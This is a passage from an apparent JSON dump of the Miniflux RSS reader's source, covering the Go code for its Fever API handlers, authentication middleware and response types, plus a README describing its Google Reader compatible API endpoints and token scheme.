64)\n\t\t\t\titemIDs = append(itemIDs, itemID)\n\t\t\t}\n\n\t\t\tbuilder.WithEntryIDs(itemIDs)\n\t\t}\n\tdefault:\n\t\tslog.Debug(\"[Fever] Fetching oldest items\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t)\n\t}\n\n\tentries, err := builder.GetEntries()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tbuilder = h.store.NewEntryQueryBuilder(userID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\tresult.Total, err = builder.CountEntries()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresult.Items = make([]item, 0, len(entries))\n\tfor _, entry := range entries {\n\t\tisRead := 0\n\t\tif entry.Status == model.EntryStatusRead {\n\t\t\tisRead = 1\n\t\t}\n\n\t\tisSaved := 0\n\t\tif entry.Starred {\n\t\t\tisSaved = 1\n\t\t}\n\n\t\tresult.Items = append(result.Items, item{\n\t\t\tID:        entry.ID,\n\t\t\tFeedID:    entry.FeedID,\n\t\t\tTitle:     entry.Title,\n\t\t\tAuthor:    entry.Author,\n\t\t\tHTML:      mediaproxy.RewriteDocumentWithAbsoluteProxyURL(entry.Content),\n\t\t\tURL:       entry.URL,\n\t\t\tIsSaved:   isSaved,\n\t\t\tIsRead:    isRead,\n\t\t\tCreatedAt: entry.Date.Unix(),\n\t\t})\n\t}\n\n\tresult.SetCommonValues()\n\tresponse.JSON(w, r, result)\n}\n\n/*\nThe unread_item_ids and saved_item_ids arguments can be used to keep your local cache synced\nwith the remote Fever installation.\n\nA request with the unread_item_ids argument will return one additional member:\n\n\tunread_item_ids (string/comma-separated list of positive integers)\n*/\nfunc (h *feverHandler) handleUnreadItems(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tslog.Debug(\"[Fever] Fetching unread items\",\n\t\tslog.Int64(\"user_id\", userID),\n\t)\n\n\tbuilder := h.store.NewEntryQueryBuilder(userID)\n\tbuilder.WithStatus(model.EntryStatusUnread)\n\trawEntryIDs, err := builder.GetEntryIDs()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\titemIDs := make([]string, 0, len(rawEntryIDs))\n\tfor _, entryID := range rawEntryIDs {\n\t\titemIDs = append(itemIDs, strconv.FormatInt(entryID, 10))\n\t}\n\n\tvar result unreadResponse\n\tresult.ItemIDs = strings.Join(itemIDs, \",\")\n\tresult.SetCommonValues()\n\tresponse.JSON(w, r, result)\n}\n\n/*\nThe unread_item_ids and saved_item_ids arguments can be used to keep your local cache synced\nwith the remote Fever installation.\n\n\tA request with the saved_item_ids argument will return one additional member:\n\n\tsaved_item_ids (string/comma-separated list of positive integers)\n*/\nfunc (h *feverHandler) handleSavedItems(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tslog.Debug(\"[Fever] Fetching saved items\",\n\t\tslog.Int64(\"user_id\", userID),\n\t)\n\n\tbuilder := h.store.NewEntryQueryBuilder(userID)\n\tbuilder.WithStarred(true)\n\n\tentryIDs, err := builder.GetEntryIDs()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\titemsIDs := make([]string, 0, len(entryIDs))\n\tfor _, entryID := range entryIDs {\n\t\titemsIDs = append(itemsIDs, strconv.FormatInt(entryID, 10))\n\t}\n\n\tresult := &savedResponse{ItemIDs: strings.Join(itemsIDs, \",\")}\n\tresult.SetCommonValues()\n\tresponse.JSON(w, r, result)\n}\n\n/*\nmark=item\nas=? where ? is replaced with read, saved or unsaved\nid=? where ? is replaced with the id of the item to modify\n*/\nfunc (h *feverHandler) handleWriteItems(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tslog.Debug(\"[Fever] Receiving mark=item call\",\n\t\tslog.Int64(\"user_id\", userID),\n\t)\n\n\tentryID := request.FormInt64Value(r, \"id\")\n\tif entryID <= 0 {\n\t\treturn\n\t}\n\n\tbuilder := h.store.NewEntryQueryBuilder(userID)\n\tbuilder.WithEntryID(entryID)\n\tbuilder.WithoutStatus(model.EntryStatusRemoved)\n\n\tentry, err := builder.GetEntry()\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif entry == nil {\n\t\tslog.Debug(\"[Fever] Entry not found\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int64(\"entry_id\", entryID),\n\t\t)\n\t\tresponse.JSON(w, r, newBaseResponse())\n\t\treturn\n\t}\n\n\tswitch r.FormValue(\"as\") {\n\tcase \"read\":\n\t\tslog.Debug(\"[Fever] Mark entry as read\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int64(\"entry_id\", entryID),\n\t\t)\n\t\th.store.SetEntriesStatus(userID, []int64{entryID}, model.EntryStatusRead)\n\tcase \"unread\":\n\t\tslog.Debug(\"[Fever] Mark entry as unread\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int64(\"entry_id\", entryID),\n\t\t)\n\t\th.store.SetEntriesStatus(userID, []int64{entryID}, model.EntryStatusUnread)\n\tcase \"saved\":\n\t\tslog.Debug(\"[Fever] Mark entry as saved\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int64(\"entry_id\", entryID),\n\t\t)\n\t\tif err := h.store.ToggleStarred(userID, entryID); err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tsettings, err := h.store.Integration(userID)\n\t\tif err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tgo func() {\n\t\t\tintegration.SendEntry(entry, settings)\n\t\t}()\n\tcase \"unsaved\":\n\t\tslog.Debug(\"[Fever] Mark entry as unsaved\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int64(\"entry_id\", entryID),\n\t\t)\n\t\tif err := h.store.ToggleStarred(userID, entryID); err != nil {\n\t\t\tresponse.JSONServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tresponse.JSON(w, r, newBaseResponse())\n}\n\n/*\nmark=feed\nas=read\nid=? where ? is replaced with the id of the feed or group to modify\nbefore=? where ? is replaced with the Unix timestamp of the the local client’s most recent items API request\n*/\nfunc (h *feverHandler) handleWriteFeeds(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tfeedID := request.FormInt64Value(r, \"id\")\n\tbefore := time.Unix(request.FormInt64Value(r, \"before\"), 0)\n\n\tslog.Debug(\"[Fever] Mark feed as read before a given date\",\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.Int64(\"feed_id\", feedID),\n\t\tslog.Time(\"before_ts\", before),\n\t)\n\n\tif feedID <= 0 {\n\t\treturn\n\t}\n\n\tif err := h.store.MarkFeedAsRead(userID, feedID, before); err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, newBaseResponse())\n}\n\n/*\nmark=group\nas=read\nid=? where ? is replaced with the id of the feed or group to modify\nbefore=? where ? is replaced with the Unix timestamp of the the local client’s most recent items API request\n*/\nfunc (h *feverHandler) handleWriteGroups(w http.ResponseWriter, r *http.Request) {\n\tuserID := request.UserID(r)\n\tgroupID := request.FormInt64Value(r, \"id\")\n\n\tif groupID < 0 {\n\t\treturn\n\t}\n\n\tvar err error\n\n\tif groupID == 0 {\n\t\terr = h.store.MarkAllAsRead(userID)\n\t\tslog.Debug(\"[Fever] Mark all items as read\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t)\n\t} else {\n\t\tbefore := time.Unix(request.FormInt64Value(r, \"before\"), 0)\n\t\terr = h.store.MarkCategoryAsRead(userID, groupID, before)\n\t\tslog.Debug(\"[Fever] Mark group as read before a given date\",\n\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\tslog.Int64(\"group_id\", groupID),\n\t\t\tslog.Time(\"before_ts\", before),\n\t\t)\n\t}\n\n\tif err != nil {\n\t\tresponse.JSONServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.JSON(w, r, newBaseResponse())\n}\n\n/*\nA feeds_group object has the following members:\n\n\tgroup_id (positive integer)\n\tfeed_ids (string/comma-separated list of positive integers)\n*/\nfunc buildFeedGroups(feeds model.Feeds) []feedsGroups {\n\tfeedsGroupedByCategory := make(map[int64][]string, len(feeds))\n\tfor _, feed := range feeds {\n\t\tfeedsGroupedByCategory[feed.Category.ID] = append(feedsGroupedByCategory[feed.Category.ID], strconv.FormatInt(feed.ID, 10))\n\t}\n\n\tresult := make([]feedsGroups, 0, len(feedsGroupedByCategory))\n\tfor categoryID, feedIDs := range feedsGroupedByCategory {\n\t\tresult = append(result, feedsGroups{\n\t\t\tGroupID: categoryID,\n\t\t\tFeedIDs: strings.Join(feedIDs, \",\"),\n\t\t})\n\t}\n\n\treturn result\n}\n"
  },
  {
    "path": "internal/fever/middleware.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage fever // import \"miniflux.app/v2/internal/fever\"\n\nimport (\n\t\"context\"\n\t\"log/slog\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/storage\"\n)\n\n// Middleware returns the Fever authentication middleware.\nfunc Middleware(store *storage.Storage) func(http.Handler) http.Handler {\n\treturn func(next http.Handler) http.Handler {\n\t\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\tclientIP := request.ClientIP(r)\n\t\t\tapiKey := r.FormValue(\"api_key\")\n\t\t\tif apiKey == \"\" {\n\t\t\t\tslog.Warn(\"[Fever] No API key provided\",\n\t\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\t)\n\t\t\t\tresponse.JSON(w, r, newAuthFailureResponse())\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tuser, err := store.UserByFeverToken(apiKey)\n\t\t\tif err != nil {\n\t\t\t\tslog.Error(\"[Fever] Unable to fetch user by API key\",\n\t\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\t\tslog.Any(\"error\", err),\n\t\t\t\t)\n\t\t\t\tresponse.JSON(w, r, newAuthFailureResponse())\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif user == nil {\n\t\t\t\tslog.Warn(\"[Fever] No user found with the API key provided\",\n\t\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\t)\n\t\t\t\tresponse.JSON(w, r, newAuthFailureResponse())\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tslog.Info(\"[Fever] User authenticated successfully\",\n\t\t\t\tslog.Bool(\"authentication_successful\", true),\n\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\tslog.Int64(\"user_id\", user.ID),\n\t\t\t\tslog.String(\"username\", user.Username),\n\t\t\t)\n\n\t\t\tstore.SetLastLogin(user.ID)\n\n\t\t\tctx := r.Context()\n\t\t\tctx = context.WithValue(ctx, request.UserIDContextKey, user.ID)\n\t\t\tctx = context.WithValue(ctx, request.UserTimezoneContextKey, user.Timezone)\n\t\t\tctx = context.WithValue(ctx, request.IsAdminUserContextKey, user.IsAdmin)\n\t\t\tctx = context.WithValue(ctx, request.IsAuthenticatedContextKey, true)\n\n\t\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "internal/fever/response.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage fever // import \"miniflux.app/v2/internal/fever\"\n\nimport (\n\t\"time\"\n)\n\ntype baseResponse struct {\n\tVersion       int   `json:\"api_version\"`\n\tAuthenticated int   `json:\"auth\"`\n\tLastRefresh   int64 `json:\"last_refreshed_on_time\"`\n}\n\nfunc (b *baseResponse) SetCommonValues() {\n\tb.Version = 3\n\tb.Authenticated = 1\n\tb.LastRefresh = time.Now().Unix()\n}\n\n/*\nThe default response is a JSON object containing two members:\n\n\tapi_version contains the version of the API responding (positive integer)\n\tauth whether the request was successfully authenticated (boolean integer)\n\nThe API can also return XML by passing xml as the optional value of the api argument like so:\n\nhttp://yourdomain.com/fever/?api=xml\n\nThe top level XML element is named response.\n\nThe response to each successfully authenticated request will have auth set to 1 and include\nat least one additional member:\n\n\tlast_refreshed_on_time contains the time of the most recently refreshed (not updated)\n\tfeed (Unix timestamp/integer)\n*/\nfunc newBaseResponse() baseResponse {\n\tr := baseResponse{}\n\tr.SetCommonValues()\n\treturn r\n}\n\nfunc newAuthFailureResponse() baseResponse {\n\treturn baseResponse{Version: 3, Authenticated: 0}\n}\n\ntype groupsResponse struct {\n\tbaseResponse\n\tGroups      []group       `json:\"groups\"`\n\tFeedsGroups []feedsGroups `json:\"feeds_groups\"`\n}\n\ntype feedsResponse struct {\n\tbaseResponse\n\tFeeds       []feed        `json:\"feeds\"`\n\tFeedsGroups []feedsGroups `json:\"feeds_groups\"`\n}\n\ntype faviconsResponse struct {\n\tbaseResponse\n\tFavicons []favicon `json:\"favicons\"`\n}\n\ntype itemsResponse struct {\n\tbaseResponse\n\tItems []item `json:\"items\"`\n\tTotal int    `json:\"total_items\"`\n}\n\ntype unreadResponse struct {\n\tbaseResponse\n\tItemIDs string `json:\"unread_item_ids\"`\n}\n\ntype savedResponse struct {\n\tbaseResponse\n\tItemIDs string `json:\"saved_item_ids\"`\n}\n\ntype group struct {\n\tID    int64  `json:\"id\"`\n\tTitle string `json:\"title\"`\n}\n\ntype feedsGroups struct {\n\tGroupID int64  `json:\"group_id\"`\n\tFeedIDs string `json:\"feed_ids\"`\n}\n\ntype feed struct {\n\tID          int64  `json:\"id\"`\n\tFaviconID   int64  `json:\"favicon_id\"`\n\tTitle       string `json:\"title\"`\n\tURL         string `json:\"url\"`\n\tSiteURL     string `json:\"site_url\"`\n\tIsSpark     int    `json:\"is_spark\"`\n\tLastUpdated int64  `json:\"last_updated_on_time\"`\n}\n\ntype item struct {\n\tID        int64  `json:\"id\"`\n\tFeedID    int64  `json:\"feed_id\"`\n\tTitle     string `json:\"title\"`\n\tAuthor    string `json:\"author\"`\n\tHTML      string `json:\"html\"`\n\tURL       string `json:\"url\"`\n\tIsSaved   int    `json:\"is_saved\"`\n\tIsRead    int    `json:\"is_read\"`\n\tCreatedAt int64  `json:\"created_on_time\"`\n}\n\ntype favicon struct {\n\tID   int64  `json:\"id\"`\n\tData string `json:\"data\"`\n}\n"
  },
  {
    "path": "internal/googlereader/README.md",
    "content": "# Miniflux Google Reader API\n\nThis document describes the Google Reader compatible API implemented by the `internal/googlereader` package in this repository.\n\nMiniflux implements a compatibility subset intended for existing Google Reader clients. It is not a full reimplementation of the historical Google Reader API, and several behaviors are intentionally narrower or implementation-specific.\n\n## Endpoint\n\n- Client login path: `BASE_URL/accounts/ClientLogin`\n- API prefix: `BASE_URL/reader/api/0`\n- `BASE_URL` includes the Miniflux root URL and any configured `BasePath`\n- Response format:\n  - `ClientLogin`: plain text by default, JSON when `output=json`\n  - most API reads: JSON\n  - most API writes: plain text `OK`\n\n## Enabling the API\n\nGoogle Reader compatibility is configured per user from the Miniflux integrations page.\n\n- `Google Reader API` must be enabled\n- `Google Reader Username` must be unique across all Miniflux users\n- `Google Reader Password` is stored as a bcrypt hash\n\nThe Google Reader username and password are separate integration credentials. They are not the Miniflux account password.\n\n## Authentication\n\n### `POST /accounts/ClientLogin`\n\nThis endpoint exchanges the configured Google Reader username and password for an auth token.\n\nForm parameters:\n\n- `Email`: Google Reader username\n- `Passwd`: Google Reader password\n- `output`: optional, set to `json` for a JSON response\n\nSuccessful responses:\n\n- default: plain text\n- with `output=json`: JSON\n\nExample plain-text response:\n\n```text\nSID=readeruser/0123456789abcdef...\nLSID=readeruser/0123456789abcdef...\nAuth=readeruser/0123456789abcdef...\n```\n\nExample JSON response:\n\n```json\n{\n  \"SID\": \"readeruser/0123456789abcdef...\",\n  \"LSID\": \"readeruser/0123456789abcdef...\",\n  \"Auth\": \"readeruser/0123456789abcdef...\"\n}\n```\n\nOn authentication failure, `ClientLogin` returns HTTP `401` with the normal JSON error body:\n\n```json\n{\n  \"error_message\": \"access unauthorized\"\n}\n```\n\n### Auth token format\n\nThe token format is:\n\n```text\n<googlereader_username>/<hex_digest>\n```\n\nThe digest is generated server-side from:\n\n- the Google Reader username\n- the stored bcrypt hash of the Google Reader password\n\nSpecifically, the code computes an HMAC-SHA1 digest of an empty message using the key:\n\n```text\ngooglereader_username + bcrypt_hash\n```\n\nBecause the bcrypt hash is only known to the server, clients should not try to precompute the token. Use `ClientLogin` or `GET /reader/api/0/token`.\n\n### Authenticating API calls\n\nMiniflux uses different auth mechanisms for `GET` and `POST` requests:\n\n- `GET` requests must send the header `Authorization: GoogleLogin auth=<token>`\n- `POST` requests are authenticated with `T=<token>` read from the parsed form values\n\nNotes:\n\n- the auth scheme must be exactly `GoogleLogin`\n- the auth field name must be exactly lowercase `auth`\n- for `POST`, `T` may come from the URL query or the form body because the server reads merged form values\n- `POST` requests do not accept the token from the `Authorization` header\n- `GET` requests do not accept the token from the query string\n\n### `GET /reader/api/0/token`\n\nThis endpoint requires normal `GET` authentication and returns the same token as plain text.\n\nMany Google Reader clients use this as the edit token for subsequent write requests. In Miniflux, the edit token and auth token are the same value.\n\n### Authentication failure on `/reader/api/0/*`\n\nWhen API authentication fails under `/reader/api/0`, Miniflux returns:\n\n- HTTP `401`\n- header `X-Reader-Google-Bad-Token: true`\n- content type `text/plain; charset=utf-8`\n- body `Unauthorized`\n\nThis is different from `ClientLogin`, which returns a JSON `401`.\n\n## Identifier formats\n\n### Stream IDs\n\nThe implementation recognizes these stream forms:\n\n- built-in streams:\n  - `user/-/state/com.google/read`\n  - `user/-/state/com.google/starred`\n  - `user/-/state/com.google/reading-list`\n  - `user/-/state/com.google/kept-unread`\n  - `user/-/state/com.google/broadcast`\n  - `user/-/state/com.google/broadcast-friends`\n  - `user/-/state/com.google/like`\n- user-specific equivalents:\n  - `user/<user_id>/state/com.google/...`\n- label streams:\n  - `user/-/label/<name>`\n  - `user/<user_id>/label/<name>`\n- feed streams:\n  - `feed/<value>`\n\nImportant feed stream difference:\n\n- read APIs usually emit `feed/<numeric_feed_id>`\n- `subscription/edit` with `ac=subscribe` expects `feed/<absolute_feed_url>`\n- `subscription/edit` with `ac=edit` or `ac=unsubscribe` expects `feed/<numeric_feed_id>`\n\nSo `feed/<...>` is not a single stable identifier format across all endpoints.\n\n### Item IDs\n\n`edit-tag` and `stream/items/contents` accept repeated `i` parameters in all of these formats:\n\n- long Google Reader form: `tag:google.com,2005:reader/item/00000000148b9369`\n- short prefixed hexadecimal form: `tag:google.com,2005:reader/item/2f2`\n- bare 16-character hexadecimal form: `000000000000048c`\n- decimal entry ID: `12345`\n\nResponses use different forms depending on endpoint:\n\n- `stream/items/ids` returns decimal IDs as strings\n- `stream/items/contents` returns long-form Google Reader item IDs\n\n## Common response conventions\n\nJSON errors use this shape:\n\n```json\n{\n  \"error_message\": \"...\"\n}\n```\n\nPlain-text success responses from write endpoints are usually:\n\n```text\nOK\n```\n\n## POST parameter parsing\n\nMost `POST` handlers call `ParseForm()` and read from `r.Form`, so parameters may be supplied either in the query string or in a standard form body.\n\nImportant exception:\n\n- `POST /reader/api/0/edit-tag` reads `a` and `r` from `r.PostForm`, so those tag lists must come from the request body\n\nBecause `GET` auth comes only from the `Authorization` header, query parameters never authenticate `GET` requests even when other parameters are read from the query string.\n\n## Endpoint reference\n\n### `GET /reader/api/0/user-info`\n\nReturns JSON only. No `output=json` parameter is required.\n\nResponse fields:\n\n- `userId`: Miniflux user ID as a string\n- `userName`: Miniflux username\n- `userProfileId`: same value as `userId`\n- `userEmail`: same value as `userName`\n\nExample:\n\n```json\n{\n  \"userId\": \"1\",\n  \"userName\": \"demo\",\n  \"userProfileId\": \"1\",\n  \"userEmail\": \"demo\"\n}\n```\n\n### `GET /reader/api/0/tag/list?output=json`\n\nReturns the starred state and user labels.\n\nNotes:\n\n- `output=json` is required\n- only labels and the starred state are returned\n- built-in states such as `read` and `reading-list` are not listed here\n\nResponse shape:\n\n```json\n{\n  \"tags\": [\n    {\n      \"id\": \"user/1/state/com.google/starred\"\n    },\n    {\n      \"id\": \"user/1/label/Tech\",\n      \"label\": \"Tech\",\n      \"type\": \"folder\"\n    }\n  ]\n}\n```\n\n### `GET /reader/api/0/subscription/list?output=json`\n\nReturns the user's feeds.\n\nNotes:\n\n- `output=json` is required\n- each feed is reported with a numeric feed stream ID such as `feed/42`\n- `categories` always contains the Miniflux category as a Google Reader folder\n\nResponse shape:\n\n```json\n{\n  \"subscriptions\": [\n    {\n      \"id\": \"feed/42\",\n      \"title\": \"Example Feed\",\n      \"categories\": [\n        {\n          \"id\": \"user/1/label/Tech\",\n          \"label\": \"Tech\",\n          \"type\": \"folder\"\n        }\n      ],\n      \"url\": \"https://example.org/feed.xml\",\n      \"htmlUrl\": \"https://example.org/\",\n      \"iconUrl\": \"https://miniflux.example.com/icon/...\"\n    }\n  ]\n}\n```\n\n### `POST /reader/api/0/subscription/quickadd`\n\nSubscribes to the first discovered feed for the given absolute URL.\n\nForm parameters:\n\n- `T`: auth token\n- `quickadd`: absolute URL\n\nResponse shape when a feed is found:\n\n```json\n{\n  \"numResults\": 1,\n  \"query\": \"https://example.org/feed.xml\",\n  \"streamId\": \"feed/42\",\n  \"streamName\": \"Example Feed\"\n}\n```\n\nResponse shape when no feed is found:\n\n```json\n{\n  \"numResults\": 0\n}\n```\n\nNotes:\n\n- the request URL must be absolute\n- the created subscription is assigned to the user's first category when no explicit category is provided\n\n### `POST /reader/api/0/subscription/edit`\n\nEdits subscriptions. Successful requests return plain text `OK`.\n\nForm parameters:\n\n- `T`: auth token\n- `ac`: action\n- `s`: repeated stream ID\n- `a`: optional destination label stream\n- `t`: optional title\n\nSupported actions:\n\n- `ac=subscribe`\n- `ac=unsubscribe`\n- `ac=edit`\n\nBehavior by action:\n\n- `subscribe`\n  - only the first `s` value is used\n  - `s` must be `feed/<absolute_feed_url>`\n  - `a`, when present, must be a label stream\n  - `t`, when present, becomes the feed title after creation\n- `unsubscribe`\n  - every `s` must be `feed/<numeric_feed_id>`\n- `edit`\n  - only the first `s` value is used\n  - `s` must be `feed/<numeric_feed_id>`\n  - `t` renames the feed\n  - `a` moves the feed to a label, and must be a label stream\n\nNotable limitations:\n\n- removing a label is not implemented here\n- `subscribe`, `edit`, and `unsubscribe` do not share the same feed ID format\n\n### `POST /reader/api/0/rename-tag`\n\nRenames a label. Successful requests return plain text `OK`.\n\nForm parameters:\n\n- `T`: auth token\n- `s`: source label stream\n- `dest`: destination label stream\n\nRules:\n\n- both `s` and `dest` must be label streams\n- the destination label name must not be empty\n- if the source label does not exist, the endpoint returns HTTP `404`\n\n### `POST /reader/api/0/disable-tag`\n\nDeletes one or more labels and reassigns affected feeds to the user's first remaining category.\n\nForm parameters:\n\n- `T`: auth token\n- `s`: repeated label stream\n\nRules:\n\n- only label streams are supported\n- at least one category must remain after deletion, otherwise the operation fails\n\nSuccessful requests return plain text `OK`.\n\n### `POST /reader/api/0/edit-tag`\n\nMarks entries read or unread and starred or unstarred.\n\nForm parameters:\n\n- `T`: auth token\n- `i`: repeated item ID\n- `a`: repeated tag stream to add\n- `r`: repeated tag stream to remove\n\nSupported tag semantics:\n\n- add `user/.../state/com.google/read`: mark read\n- remove `user/.../state/com.google/read`: mark unread\n- add `user/.../state/com.google/kept-unread`: mark unread\n- remove `user/.../state/com.google/kept-unread`: mark read\n- add `user/.../state/com.google/starred`: star\n- remove `user/.../state/com.google/starred`: unstar\n\nSpecial cases:\n\n- `read` and `kept-unread` cannot be combined in conflicting ways in the same request\n- `starred` cannot be present in both add and remove\n- `broadcast` and `like` are recognized but ignored\n- unsupported tag types cause an error\n\nSuccessful requests return plain text `OK`.\n\n### `GET /reader/api/0/stream/items/ids?output=json`\n\nReturns item IDs for one stream.\n\nRequired query parameters:\n\n- `output=json`\n- `s=<stream_id>`\n\nOptional query parameters:\n\n- `n`: maximum number of items to return\n- `c`: numeric offset continuation token\n- `r`: sort direction, `o` for ascending, anything else for descending\n- `ot`: only items published after this Unix timestamp in seconds\n- `nt`: only items published before this Unix timestamp in seconds\n- `xt`: repeated exclude target stream\n- `it`: repeated filter target stream, parsed but currently ignored\n\nSupported `s` values:\n\n- `user/.../state/com.google/reading-list`\n- `user/.../state/com.google/starred`\n- `user/.../state/com.google/read`\n- `feed/<numeric_feed_id>`\n\nNotes:\n\n- exactly one `s` value is expected\n- label streams are not supported here\n- when `xt` contains the `read` stream, `reading-list` and `feed/<id>` behave as unread-only queries\n- if `n` is omitted, the query is effectively unbounded\n- `continuation` is a numeric offset encoded as a JSON string, not an opaque token\n\nResponse shape:\n\n```json\n{\n  \"itemRefs\": [\n    {\n      \"id\": \"12345\"\n    },\n    {\n      \"id\": \"12344\"\n    }\n  ],\n  \"continuation\": \"2\"\n}\n```\n\n### `POST /reader/api/0/stream/items/contents`\n\nReturns content for specific items.\n\nRequired parameters:\n\n- `T`: auth token\n- `output=json`\n- `i`: repeated item ID\n\nOptional query parameters:\n\n- `r`: sort direction, `o` for ascending, anything else for descending\n\nImplementation notes:\n\n- the route is `POST` only\n- `T`, `output`, and `i` are read from merged form values, so they may be supplied in the query string or the form body\n- the handler parses stream filter query parameters, but in practice only the sort direction affects the result\n\nResponse shape:\n\n```json\n{\n  \"direction\": \"ltr\",\n  \"id\": \"user/-/state/com.google/reading-list\",\n  \"title\": \"Reading List\",\n  \"self\": [\n    {\n      \"href\": \"https://miniflux.example.com/reader/api/0/stream/items/contents\"\n    }\n  ],\n  \"updated\": 1710000000,\n  \"author\": \"demo\",\n  \"items\": [\n    {\n      \"id\": \"tag:google.com,2005:reader/item/00000000148b9369\",\n      \"categories\": [\n        \"user/1/state/com.google/reading-list\",\n        \"user/1/label/Tech\",\n        \"user/1/state/com.google/starred\"\n      ],\n      \"title\": \"Example entry\",\n      \"crawlTimeMsec\": \"1710000000123\",\n      \"timestampUsec\": \"1710000000123456\",\n      \"published\": 1710000000,\n      \"updated\": 1710000300,\n      \"author\": \"Author\",\n      \"alternate\": [\n        {\n          \"href\": \"https://example.org/post\",\n          \"type\": \"text/html\"\n        }\n      ],\n      \"summary\": {\n        \"direction\": \"ltr\",\n        \"content\": \"<p>Content</p>\"\n      },\n      \"content\": {\n        \"direction\": \"ltr\",\n        \"content\": \"<p>Content</p>\"\n      },\n      \"origin\": {\n        \"streamId\": \"feed/42\",\n        \"title\": \"Example Feed\",\n        \"htmlUrl\": \"https://example.org/\"\n      },\n      \"enclosure\": [],\n      \"canonical\": [\n        {\n          \"href\": \"https://example.org/post\"\n        }\n      ]\n    }\n  ]\n}\n```\n\nNotes:\n\n- top-level `id` and `title` are hard-coded as the reading list\n- `summary.content` and `content.content` both contain the rewritten entry content\n- enclosure URLs and embedded media may be rewritten through the Miniflux media proxy\n\n### `POST /reader/api/0/mark-all-as-read`\n\nMarks items as read before a timestamp. Successful requests return plain text `OK`.\n\nForm parameters:\n\n- `T`: auth token\n- `s`: stream ID\n- `ts`: optional timestamp\n\nSupported `s` values:\n\n- `feed/<numeric_feed_id>`\n- `user/.../label/<name>`\n- `user/.../state/com.google/reading-list`\n\nTimestamp handling:\n\n- if `ts` has at least 16 digits, it is interpreted as microseconds since the Unix epoch\n- otherwise it is interpreted as seconds since the Unix epoch\n- if `ts` is omitted, Miniflux uses the current server time\n\nNotes:\n\n- only unread entries published before `ts` are marked as read\n- unsupported stream types are effectively a no-op and still return `OK`\n\n### Catch-all unimplemented endpoints\n\nAny other `GET` or `POST` path under `/reader/api/0/` is caught by the fallback handler and returns:\n\n```json\n[]\n```\n\nwith HTTP `200`.\n\n## Compatibility notes and deviations\n\nThese differences are important for client authors:\n\n- only a subset of Google Reader endpoints is implemented\n- feed stream IDs are numeric in read responses, but `ac=subscribe` expects `feed/<absolute_feed_url>`\n- `stream/items/ids` returns decimal entry IDs, while `stream/items/contents` returns long-form Google Reader item IDs\n- pagination uses `c` as a numeric SQL offset, not an opaque continuation token\n- `it` filter targets are parsed but currently ignored\n- `tag/list` returns only `starred` and user labels\n- API auth failures under `/reader/api/0/*` return plain text `401 Unauthorized`, not JSON\n- unknown `/reader/api/0/*` endpoints return `[]` with `200`, not `404`\n"
  },
  {
    "path": "internal/googlereader/handler.go",
